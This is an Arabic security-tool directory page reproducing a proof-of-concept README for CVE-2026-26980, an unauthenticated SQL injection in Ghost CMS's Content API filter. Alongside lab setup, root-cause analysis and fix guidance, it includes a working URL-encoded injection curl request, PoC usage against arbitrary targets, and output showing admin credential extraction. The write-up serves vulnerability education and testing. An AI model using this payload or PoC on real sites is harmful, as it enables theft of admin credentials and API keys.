Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-26980 — حقن SQL في API محتوى Ghost | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-26980
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubeqstlab/cve-2026-26980

CVE-2026-26980

حقن SQL في API محتوى Ghost

عرض المستودع
32منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-26980

★ CVE-2026-26980 برهان ثغرة حقن SQL في Content API لنظام Ghost CMS من TryGhost ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


نظرة عامة

CVE-2026-26980 هي ثغرة حقن SQL غير مصادق عليها في Content API لنظام TryGhost Ghost CMS. يمكن الوصول إلى المسار القابل للهجوم من خلال منطق معالجة عامل التصفية العام لـ Content API عند معالجة ترتيب slug:[...].

يبني هذا البرهان مختبر Ghost 6.19.0 خاضع للتحكم ويوضح كيف يمكن تحويل طلب Content API عام إلى أداة قراءة قاعدة بيانات قائمة على القيمة المنطقية.


الإصدارات المتأثرة

المنتجالإصدار المتأثرالإصدار المُصحَّحنوع الثغرة
TryGhost Ghost CMS>= 3.24.0، < 6.19.16.19.1حقن SQL

يستخدم بيئة المختبر Ghost 6.19.0.


إعداد المختبر

قم ببناء وتشغيل بيئة Ghost CMS القابلة للهجوم باستخدام Docker:

root@kitploit:~
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

مثال:

root@kitploit:~
http://127.0.0.1:9102/
image

يقوم المختبر بتشغيل مثيل Ghost 6.19.0 حقيقي قابل للهجوم على المنفذ 9102.

مفتاح Content API للمختبر هو:

root@kitploit:~
EQSTLab299

الوصف

CVE-2026-26980 : ثغرة حقن SQL في Content API لنظام TryGhost Ghost CMS

الوصف: تسمح ثغرة حقن SQL في TryGhost Ghost CMS قبل الإصدار 6.19.1 لمهاجم غير مصادق مع إمكانية الوصول إلى مفتاح Content API عام بقراءة قيم قاعدة بيانات عشوائية من خلال معامل التصفية (filter) لـ Content API. تحدث المشكلة في مسار ترتيب عامل التصفية slug:[...]، حيث يتم إدراج قيم slug التي يتحكم فيها المستخدم في استعلام SQL خام دون ربط معلمات مناسب.

عادةً ما تكون مفاتيح Content API لـ Ghost مكشوفة للمتصفحات عن طريق التصميم من خلال القوالب أو البحث أو البوابة أو JavaScript في الواجهة الأمامية. هذا يعني أنه يمكن الوصول إلى المسار القابل للهجوم دون مصادقة Ghost Admin.


كيفية الاستخدام

استنساخ المستودع (Git clone)

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

الأمر

root@kitploit:~
python3 poc.py --url [Target]

مفتاح Content API مخصص اختياري:

root@kitploit:~
python3 poc.py --url [Target] --key [Content API Key]

مثال

root@kitploit:~
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299

[Target] مثال: http://127.0.0.1:9102

الإخراج

root@kitploit:~
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [Target]
API Key:                     [Content API Key]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

يُظهر البرهان العام تأثير قراءة قاعدة البيانات من خلال استخراج بيانات وصفية لقاعدة البيانات آمنة للمختبر ومواد مفتاح API لـ Ghost. لا يطبع علامة التحدي.


التحليل

النقطة القابلة للهجوم

root@kitploit:~
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]

يوجد المنطق القابل للهجوم في مسار تسلسل إدخال Content API لـ Ghost لعوامل تصفية slug:[...]. يدعم Ghost عوامل تصفية slug على شكل قائمة ويحافظ على ترتيب slug المطلوب عن طريق إنشاء تعبير ORDER BY CASE.

في الإصدارات القابلة للهجوم، يتم إدراج قيم slug التي يتحكم فيها المستخدم في جزء SQL. نمط مبسط قابل للهجوم هو:

root@kitploit:~
for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

نظرًا لأن slug يتحكم فيه المهاجم ويتم إدراجه في سلسلة SQL دون ربط معلمات، يمكن لعامل تصفية Content API مخصص أن يخرج من المقارنة المقصودة ويحقن منطق SQL إضافي.

منطق الاستغلال

يستخدم البرهان المخبري علامتين عامتين، bacon و chorizo، كمرجع منطقي (boolean oracle) يمكن ملاحظته.

  • إذا كان شرط SQL المحقون صحيحًا، يتم ترتيب bacon أولاً.
  • إذا كان شرط SQL المحقون خاطئًا، يتم ترتيب chorizo أولاً.

من خلال تكرار هذا الاختبار بظروف SQL مختلفة، يمكن للبرهان استنتاج قيم قاعدة البيانات حرفًا حرفًا.

التحقق من المرجع المنطقي باستخدام curl:

root@kitploit:~
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

السبب الجذري

السبب الجذري هو البناء غير الآمن لجزء SQL ORDER BY CASE من قيم slug التي يتحكم فيها المستخدم. يحاول الكود القابل للهجوم الحفاظ على ترتيب استجابة Content API، لكنه يعالج قيم عامل تصفية NQL المحللة كنص SQL موثوق.

يجب أن يقوم الإصلاح القوي بما يلي:

  • تجنب إدراج قيم slug التي يتحكم فيها المستخدم في سلاسل SQL
  • استخدام ربط المعلمات لكل قيمة slug
  • الحفاظ على الترتيب دون تحويل قيم التصفية إلى SQL خام
  • إبقاء تحليل NQL منفصلاً عن بناء SQL

أصلح Ghost هذه المشكلة في الإصدار 6.19.1 عن طريق استبدال الإدراج الخام بربط استعلامات معلمات.

التأثير

هذه مشكلة CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL.

نظرًا لأن Content API لـ Ghost عام بشكل مقصود، يمكن لهذه الثغرة أن تسمح لمهاجم غير مصادق بإنشاء أداة قراءة قاعدة بيانات من خلال نقطة نهاية محتوى عامة. اعتمادًا على محتويات قاعدة البيانات والأذونات، قد يتمكن المهاجم من:

  • تعداد بيانات تعريف جداول قاعدة البيانات
  • قراءة قيم تكوين الموقع
  • قراءة حقول جدول المستخدمين
  • قراءة سجلات مفاتيح API
  • استخراج بيانات التطبيق الخاصة المخزنة في قاعدة بيانات Ghost

السيناريو

root@kitploit:~
+-------------------------------------------+
|              Remote Attacker              |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi payload>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost Public Content API          |
+-------------------------------------------+
                      |
                      | Unsafe slug order SQL construction
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | Boolean difference in tag ordering
                      v
+-------------------------------------------+
|          Unauthenticated DB Read           |
+-------------------------------------------+

ملاحظات المختبر

يقوم هذا المختبر بتشغيل مثيل Ghost 6.19.0 حقيقي قابل للهجوم بدلاً من خادم محاكاة بسيط.

يقوم المختبر بتزويد:

  • مفتاح Content API عام: EQSTLab299
  • علامتين مرجعيتين: bacon، chorizo
  • علامة EQST Lab التجارية ومحتوى مدونة نموذجي
  • قيمة تحدي خاصة يمكن التخلص منها في قاعدة بيانات Ghost SQLite

تم تصميم ملف poc.py العام لمقاطع الفيديو التوضيحية والكتابات العامة. يظهر تأثير حقن SQL دون طباعة علامة التحدي.


التنظيف

root@kitploit:~
docker stop cve-2026-26980

إخلاء مسؤولية

هذا المستودع ليس مخصصًا لاستغلال حقن SQL لـ CVE-2026-26980. الغرض من هذا المشروع هو مساعدة الأشخاص على التعرف على هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.


المراجع

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

https://github.com/TryGhost/Ghost/releases/tag/v6.19.1

https://nvd.nist.gov/vuln/detail/CVE-2026-26980

https://osv.dev/vulnerability/CVE-2026-26980

https://github.com/TryGhost/Ghost

تنزيل الأداة